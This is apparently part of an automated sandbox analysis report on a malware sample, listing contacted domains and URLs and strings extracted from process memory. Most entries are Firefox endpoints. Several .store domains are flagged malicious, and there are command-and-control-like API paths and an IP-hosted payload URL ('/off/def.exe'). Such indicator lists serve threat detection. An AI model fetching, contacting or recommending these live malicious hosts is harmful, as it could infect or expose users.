telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false		unknown
www.reddit.com	unknown	unknown	false		unknown
spocs.getpocket.com	unknown	unknown	false		unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false		unknown
presticitpo.store	unknown	unknown	true		unknown
support.mozilla.org	unknown	unknown	false		unknown
firefox.settings.services.mozilla.com	unknown	unknown	false		unknown
www.youtube.com	unknown	unknown	false		unknown
fadehairucw.store	unknown	unknown	true		unknown
www.facebook.com	unknown	unknown	false		unknown
detectportal.firefox.com	unknown	unknown	false		unknown
thumbystriw.store	unknown	unknown	true		unknown
shavar.services.mozilla.com	unknown	unknown	false		unknown
crisiwarny.store	unknown	unknown	true		unknown
www.wikipedia.org	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true		unknown
fadehairucw.store	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/proposedEnrollment	firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://detectportal.firefox.com/	firefox.exe, 00000019.00000002.3040789860.0000025E80E47000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/schemaVersion	firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value	firefox.exe, 00000019.00000002.3064052338.0000025E81D78000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://smartblock.firefox.etp/facebook.svgwebcompat-reporter	firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/bestMatchEnabledhttp://mozilla.org/#/properties/mdnFeatureGateresour	firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3001120503.0000016C70172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31D86000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exeUg	file.exe, 00000000.00000003.2259589967.0000000001761000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType	firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/ulM~	21024c5511.exe, 0000000E.00000003.2998836914.00000000010DA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 00000019.00000003.2936265181.0000025E89753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 00000019.00000002.3015823343.0000025E7C9F2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.com	firefox.exe, 00000019.00000002.3020548386.0000025E7D1B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.openh264.org/findUpdates()	firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000019.00000002.3064052338.0000025E81D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81CA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3081282197.0000025E83103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81CE6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3068152789.0000025E82433000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D0B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/quickSuggestBlockingEnabledhttp://mozilla.org/#/properties/quickSugg	firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches	firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe47	21024c5511.exe, 00000009.00000003.2997206794.00000000012EA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3047335193.0000025E814B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2874853592.0000025E8116F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2875054403.0000025E8118A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2873550106.0000025E8111D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2874578651.0000025E81153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2869331652.0000025E80F00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/userFacingName	firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.com/	firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/searchprincipalToInherit_base64LOAD_DOCUMENT_NEEDS_COOKIE	firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredEnabled	firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000019.00000002.3033711233.0000025E802F0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.2874159292.0000025E81138000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2874853592.0000025E8116F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2873550106.0000025E8111D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2874578651.0000025E81153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2869331652.0000025E80F00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/1	firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/referenceBranch	firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/outcomes/items	firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredIndex	firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/common	firefox.exe, 00000019.00000002.3013624425.0000025E7C826000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ok.ru/	firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etpcolor-mix(in	firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://exslt.org/dates-and-times	firefox.exe, 00000019.00000002.3013624425.0000025E7C861000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/csvImport	firefox.exe, 00000019.00000002.3064052338.0000025E81D8B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature	firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3018136513.0000025E7CE7D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2078373325.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078647228.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078431420.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2754320993.0000000005B66000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2874156786.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873910237.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873775956.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apiEd7sSF	21024c5511.exe, 00000009.00000003.2803192433.00000000012FB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.bbc.co.uk/	firefox.exe, 00000019.00000003.2936265181.0000025E89776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled	firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2956838573.0000025E89170000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31DC7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mo	firefox.exe, 00000019.00000002.3069732243.0000025E82594000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3040789860.0000025E80E47000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3081282197.0000025E83103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3068152789.0000025E82433000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D0B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	firefox.exe, 00000019.00000002.3013624425.0000025E7C8AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C4B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3001120503.0000016C701CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31DE9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	firefox.exe, 00000019.00000002.3013624425.0000025E7C8AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C4B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3001120503.0000016C701CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31DE9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	21024c5511.exe, 00000009.00000003.2997206794.00000000012EA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 00000019.00000002.3038492553.0000025E80C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2939160067.0000025E83995000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2956838573.0000025E89170000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31D12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/api=;	file.exe, 00000000.00000003.2144213376.000000000178E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2140091412.000000000178F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2150740963.000000000178F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2168246756.000000000178F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2259665028.0000000001790000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iqiyi.com/	firefox.exe, 00000019.00000003.2936265181.0000025E89776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI	firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/endDate	firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/addonsFeatureGate	firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/addonsShowLessFrequentlyCap	firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled	firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000019.00000003.2956838573.0000025E8914A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3001120503.0000016C701CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31DE9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	996773cd54.exe, 0000000A.00000003.2771688785.0000000004EDB000.00000004.00001000.00020000.00000000.sdmp, 996773cd54.exe, 0000000A.00000002.2819953969.0000000000CFC000.00000040.00000001.01000000.0000000E.sdmp, num.exe, 0000001A.00000000.2858043384.000000000088C000.00000008.00000001.01000000.00000012.sdmp, 996773cd54.exe, 0000001D.00000002.3005019658.0000000000CFC000.00000040.00000001.01000000.0000000E.sdmp, 996773cd54.exe, 0000001D.00000003.2911813021.0000000004CBB000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000024.00000000.3066269323.000000000088C000.00000008.00000001.01000000.00000012.sdmp, num[1].exe.8.dr	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/enrollmentEndDate	firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.zhihu.com/	firefox.exe, 00000019.00000003.2953976180.0000025E8937F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2105697595.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2783822067.0000000005BFE000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2909020887.0000000005ABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2953976180.0000025E893A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81C49000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2105697595.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2783822067.0000000005BFE000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2909020887.0000000005ABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2953976180.0000025E893A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81C49000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 00000019.00000003.2929393111.0000025E89240000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mozilla-hub.atlassian.net/browse/SDK-405	firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold	firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/outcomes	firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	21024c5511.exe, 0000000E.00000003.2913432713.0000000005CD3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 00000019.00000003.2958021612.0000025E83DD0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 00000019.00000002.3038492553.0000025E80CC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3018136513.0000025E7CE7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3039979682.0000025E80D65000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000019.00000002.3059082762.0000025E81B7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.co.uk/	firefox.exe, 00000019.00000003.2936265181.0000025E89776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/preferences	firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/	firefox.exe, 00000019.00000003.2874578651.0000025E81153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2869331652.0000025E80F00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gpuweb.github.io/gpuweb/	firefox.exe, 00000019.00000003.2956838573.0000025E8914A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://mail.yahoo.co.jp/compose/?To=%s_injectDefaultProtocolHandlersIfNeededhttp://win.mail.ru/cgi-	firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/resource://activity-stream/lib/RemoteL	firefox.exe, 00000019.00000002.3064052338.0000025E81D8B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.wykop.pl/	firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://vk.com/	firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.olx.pl/	firefox.exe, 00000019.00000003.2953976180.0000025E8937F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://json-schema.org/draft/2019-09/schemaFRAMEBUFFER_INCOMPLETE_ATTACHMENT	firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio	firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
